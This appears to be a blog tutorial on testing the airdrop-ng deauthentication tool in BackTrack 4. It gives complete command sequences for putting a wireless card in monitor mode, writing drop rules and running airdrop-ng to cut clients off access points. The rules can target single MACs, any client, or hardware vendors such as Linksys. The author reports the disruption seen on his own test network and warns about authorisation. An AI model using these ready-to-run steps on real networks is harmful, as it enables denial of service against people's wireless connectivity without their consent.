Testing airdrop-ng in BackTrack 4

WARNING !

This tool can cause major disruptions to wireless networks / connectivity.

Be careful when writing the droprules and make sure it is only used on networks on which you are authorized to test it.

Airdrop-ng is described as being a 'rule-based Deauth(entication) tool'.

Airdrop is now available through the standard Backtrack repositories, can install with ;

apt-get update

apt-get install airdrop-ng

Different from other deauthentication tools, Airdrop provides a means to either allow or deny clients to the same access point at the same time, as well as other nifty functions such as allowing or denying access based on hardware type (hardware name or OUI).

This allowance or denial is based on rules which are entered in a text file read by the application.

The way it works is fairly staightforward, first airodump needs to be started, configured to write out to a .csv file.
Then airdrop is started, linking to the csv file and pointing to a rules configuration file where the drop rules are entered.

So the main thing is to figure out what you want to achieve with this tool running, prepare the file with drop rules accordingly and then let it rip !

First things first, start up airodump and configure to write to a .csv file ;

airmon-ng

airmon-ng start wlan0

airodump-ng mon0 -w test --output-format csv

Now to create a file with the Airdrop drop rules.
The standard format is;

a(allow)/bssid mac(or 'any')|client mac(or 'any')
or
d(deny)/bssid mac(or 'any')|client mac(or 'any')

In the written examples I am using 00-11-22-33-44-55 as AP mac and 55-44-33-22-11-00 as Client mac.
This for simplicity's sake.
Some of the actual picture examples show different macs addresses as these are taken from an actual test run requiring actual connections.


To start off, I will first create a simple file with a 'deny all' rule for a specific AP ;

echo '#Deny rules' > rules && echo 'd/00-11-22-33-44-55|any' >> rules

This rule will deny all clients access to the AP with mac address 00:11:22:33:44:55.
(Can also enter MAC addresses in the standard format; 00:11:22:33:44:55)

So now time to run Airdrop ;
(You can also include the -p option to disable the use of Pysco, gets rid of the 'Not Found' message ..)
[Depending on how it was installed, the below commands likely need to be started with ./airdrop-ng]

cd /pentest/wireless/airdrop-ng/

airdrop-ng -i mon0 -t ~/test-01.csv -r ~/rules

You can also include the -b option for some more detail (Rule debugging);

airdrop-ng -i mon0 -t ~/test-01.csv -r ~/rules -b

Now to edit the rules file to allow a client to access ;
As rules are run in a cascading order (from top to bottom) note that the Allow rules should be placed above the Deny rule ;

nano rules

#Allow rule

a/00-11-22-33-44-55|55-44-33-22-11-00

#Deny rule

d/00-11-22-33-44-55|any

With the above when running airdrop, all clients except 55-44-33-22-11-00 will be denied access to AP in question.
(Similar to an access point's mac-filtering approach)

There is no real need to include "#Allow rule" and the "#Deny rule", its just for clarity's sake.



Another nice function is the ability to Allow or Deny access to certain hardware based on OUI codes or (some) hardware names.
The OUI list can be updated in airdrop as follows (of course need to be online);

airdrop-ng -u

The OUI list can be found @ /pentest/wireless/airdrop-ng/support/oui.txt

I have only tested this using names on my network with Linksys and Intel equipment.

For instance, you can create a rule to deny all clients access to a Linksys router (WRT54G was tested) as follows ;

nano rules

#Deny rule

d/Linksys|any

The airdrop-ng result ;

airdrop-ng -i mon0 -t ~/test-01.csv -r ~/rules -b

Or you can create a rule to deny linksys adapters from accessing a certain AP ;

nano rules

#Deny rule

d/00-11-22-33-44-55|Linksys

The airdrop-ng result ;

airdrop-ng -i mon0 -t ~/test-01.csv -r ~/rules -b

Each time Airdrop finishes sending packets it re-parses the airodump csv file for changes as well as the rules file, this means that the rules file can be updated even while Airdrop is running.


NOTE
-------
Following a post on the BT4 forums, have found that airdrop does not like multiple allow rules.
After some further testing have found that multiple Deny rules seem to be OK. 
But if more than 1 Allow rule, airdrop seems to simply ignore any allow rule after the 1st one.



In most cases what I noted was that with a connection already in place (connection with WUSB54GC adapter), the connection to the AP was not so much terminated, as rather activity was denied.
So on Windows received the message that "this connection has limited or no connectivity" and needed to restart the adapter to regain normal functionality.
edit
----
In further tests when running for a prolonged session it actually did kick the adapter off completely. 

When first starting airdrop with a droprule in place Denying the client access and then trying to connect, there was only a continuous effort to get an IP address.
When then stopping airdrop, same message noted on "this connection has limited or no connectivity" and again needed to restart the adapter to regain normal functionality.




All in all, an interesting tool, with several interesting (and mischievous..) uses..

Video on the above ;

http://blip.tv/file/3292804
or
http://vimeo.com/9876579
or
http://www.youtube.com/watch?v=Wml82Q22bSY